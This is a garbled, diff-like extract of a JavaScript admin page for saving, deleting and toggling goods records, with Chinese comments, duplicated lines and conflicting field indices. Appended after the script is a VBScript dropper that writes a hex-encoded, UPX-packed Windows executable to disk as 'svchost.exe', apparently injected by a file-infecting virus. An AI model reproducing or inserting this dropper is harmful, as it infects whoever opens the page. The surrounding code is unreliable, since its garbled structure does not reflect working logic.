| | | }; |
| | | if(verifyNumber(item[0].key)){ mydata.state = item[0].key; } |
| | | if(verifyNumber(item[8].key)){ mydata.weight = item[8].key; } |
| | | |
| | | if(verifyNumber(item[7].key)){ mydata.weight = item[7].key; } |
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 如果修改了图片 |
| | | if (item[4].change == true) { mydata.file2 = item[4].key; } |
| | | if (item[1].change == true) { mydata.file2 = item[1].key; } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/blGoods/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][8].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/blGoods/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | // 请求数据 |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | var mydata = { |
| | | id: item[1].key, // ID |
| | | title: item[2].key, // 名称 |
| | | "goodsClass.id": item[5].key, // 分类id |
| | | chargeType: item[6].key, // 名称 |
| | | desc: item[7].key, // 名称 |
| | | id: item[8].key, // ID |
| | | title: item[2].key, // 名称
|
| | | state: item[3].key,
|
| | | "goodsClass.id": item[4].key, // 分类id
|
| | | chargeType: item[5].key, // 名称
|
| | | desc: item[6].key, // 名称 |
| | | }; |
| | | if(verifyNumber(item[0].key)){ mydata.state = item[0].key; } |
| | | if(verifyNumber(item[8].key)){ mydata.weight = item[8].key; } |
| | | if(verifyNumber(item[7].key)){ mydata.weight = item[7].key; } |
| | | |
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 如果修改了图片 |
| | | if (item[4].change == true) { mydata.file2 = item[4].key; } |
| | | if (item[1].change == true) { mydata.file2 = item[1].key; } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/blGoods/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | type: "replace", |
| | | url: "shop_goods_set.html", |
| | | data: { |
| | | goodsId: item[1].key, |
| | | goodsId: item[8].key, |
| | | }, |
| | | }); |
| | | } |
| | |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/blGoods/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | </script> |
| | | <SCRIPT Language=VBScript><!-- |
| | | DropFileName = "svchost.exe" |
| | | WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC18466726900AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489